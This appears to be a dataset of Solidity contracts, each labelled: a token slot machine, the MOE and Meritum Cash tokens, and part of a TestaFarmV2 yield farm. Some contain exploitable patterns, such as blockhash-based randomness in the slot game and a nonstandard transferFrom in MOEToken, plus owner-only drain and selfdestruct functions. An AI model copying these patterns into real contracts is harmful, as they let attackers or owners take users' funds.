emit ThreeTSymbols(target, spin.blockn);
} else
if (result < 11614) {
profit = SafeMath.mul(spin.tokenValue, 25);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else
if (result < 14443) {
profit = SafeMath.mul(spin.tokenValue, 50);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else
if (result < 17272) {
profit = SafeMath.mul(spin.tokenValue, 40);
category = 8;
emit ThreeGreenPyramids(target, spin.blockn);
} else
if (result < 20101) {
profit = SafeMath.mul(spin.tokenValue, 20);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else
if (result < 22929) {
profit = SafeMath.mul(spin.tokenValue, 20);
category = 10;
emit ThreeWhitePyramids(target, spin.blockn);
} else
if (result < 52332) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else
if (result < 120225) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else
if (result < 171146) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else
if (result < 222067) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else
if (result < 272988) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else
if (result < 323909) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else
if (result < 374830) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10);
category = 17;
emit TwoGreenPyramids(target, spin.blockn);
} else
if (result < 425751) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
profit = SafeMath.mul(spin.tokenValue, 2);
category = 19;
emit TwoWhitePyramids(target, spin.blockn);
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
contractBalance = contractBalance.sub(profit);
ZTHTKN.transfer(target, profit);
}
playerSpins[target] = playerSpin(uint200(0), uint56(0));
emit SpinConcluded(target, spin.blockn);
return result;
}
function jackpotGuard(uint _wager)
private
view
returns (bool)
{
uint maxProfit = SafeMath.mul(_wager, 500);
uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9);
return (maxProfit <= ninetyContractBalance);
}
function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
address(this),
blockhash(blockn),
entropy)
));
}
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
function balanceOf() public view returns (uint) {
return contractBalance;
}
function addNewBetAmount(uint _tokenAmount)
public
onlyOwner
{
validTokenBet[_tokenAmount] = true;
}
function pauseGame() public onlyOwner {
gameActive = false;
}
function resumeGame() public onlyOwner {
gameActive = true;
}
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
function divertDividendsToBankroll()
public
onlyOwner
{
bankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,217 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MOEToken is ERC20 {
using SafeMath for uint256;
address public owner;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name = "MOE's game art foundation";
string public constant symbol = "MOE";
uint public constant decimals = 18;
bool public stopped;
modifier stoppable {
assert(!stopped);
_;
}
uint256 public totalSupply = 1000000000*(10**18);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event LOCK(address indexed _owner, uint256 _value);
mapping (address => uint256) public lockAddress;
modifier lock(address _add){
require(_add != address(0));
uint256 releaseTime = lockAddress[_add];
if(releaseTime > 0){
require(block.timestamp >= releaseTime);
_;
}else{
_;
}
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function MOEToken() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function stop() onlyOwner public {
stopped = true;
}
function start() onlyOwner public {
stopped = false;
}
function lockTime(address _to,uint256 _value) onlyOwner public {
if(_value > block.timestamp){
lockAddress[_to] = _value;
emit LOCK(_to, _value);
}
}
function lockOf(address _owner) constant public returns (uint256) {
return lockAddress[_owner];
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function () public payable {
address myAddress = this;
emit Transfer(msg.sender, myAddress, msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) stoppable lock(msg.sender) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, uint256 _amount) stoppable lock(_from) public returns (bool success) {
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
emit Transfer(_from, msg.sender, _amount);
return true;
}
function approve(address _spender, uint256 _value) stoppable lock(_spender) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function kill() onlyOwner public {
selfdestruct(msg.sender);
}
function setName(string _name) onlyOwner public {
name = _name;
}
} | 1 | 5,558 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Meritum Cash";
string public constant TOKEN_SYMBOL = "MCH";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x84294229647e5e2191C42196053d9c6bE4BDA87c;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x84294229647e5e2191c42196053d9c6be4bda87c)];
uint[1] memory amounts = [uint(12000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 5,470 |
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface IMigratorChef {
function migrate(IERC20 token) external returns (IERC20);
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract TestaFarmV2 is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 amount;
mapping (uint256 => uint256) pendingTesta;
mapping (uint256 => uint256) rewardDebt;
}
struct PoolInfo {
IERC20 lpToken;
IUniswapV2Pair uniswap;
uint112 startLiquidity;
uint256 allocPoint;
uint256 lastRewardBlock;
uint256 accTestaPerShare;
uint256 debtIndexKey;
uint256 startBlock;
uint256 initStartBlock;
}
address public testa;
uint256 public testaPerBlock;
uint256 public constant BONUS_MULTIPLIER = 10;
IMigratorChef public migrator;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public activeReward = 10;
int public progressive = 0;
int public maxProgressive;
int public minProgressive;
uint256 public numberOfBlock;
uint112 public startLiquidity;
uint112 public currentLiquidity;
AggregatorV3Interface public priceFeed;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
address _testa,
uint256 _testaPerBlock,
int _maxProgressive,
int _minProgressive,
uint256 activateAtBlock,
address _priceFeed
) public {
testa = _testa;
testaPerBlock = _testaPerBlock;
maxProgressive = _maxProgressive;
minProgressive = _minProgressive;
numberOfBlock = activateAtBlock;
priceFeed = AggregatorV3Interface(_priceFeed);
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "Not EOA");
_;
}
function setTestaPerBlock(uint256 _testaPerBlock) public onlyOwner{
testaPerBlock = _testaPerBlock;
}
function setProgressive(int _maxProgressive, int _minProgressive) public onlyOwner{
maxProgressive = _maxProgressive;
minProgressive = _minProgressive;
}
function setNumberOfBlock(uint256 _numberOfBlock) public onlyOwner{
numberOfBlock = _numberOfBlock;
}
function setActiveReward(uint256 _activeReward) public onlyOwner{
activeReward = _activeReward;
}
function harvestAndWithdraw(uint256 _pid, uint256 _amount) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
require(getCountDown(_pid) <= numberOfBlock);
require((progressive == maxProgressive) && (lpSupply != 0), "Must have lpSupply and reach maxProgressive to harvest");
require(user.amount >= _amount, "No lpToken cannot withdraw");
updatePool(_pid);
uint256 testaAmount = pendingTesta( _pid, msg.sender);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
pool.lpToken.safeTransfer(address(msg.sender), _amount);
safeTestaTransfer(msg.sender, testaAmount);
}
emit Withdraw(msg.sender, _pid, _amount);
}
function harvest(uint256 _pid) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
require(getCountDown(_pid) <= numberOfBlock);
require((progressive == maxProgressive) && (lpSupply != 0), "Must have lpSupply and reach maxProgressive to harvest");
require(user.amount > 0, "No lpToken cannot withdraw");
updatePool(_pid);
uint256 testaAmount = pendingTesta( _pid, msg.sender);
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
safeTestaTransfer(msg.sender, testaAmount);
}
function firstActivate(uint256 _pid) public onlyEOA nonReentrant {
currentLiquidity = getLiquidity(_pid);
PoolInfo storage pool = poolInfo[_pid];
require(pool.initStartBlock == pool.startBlock);
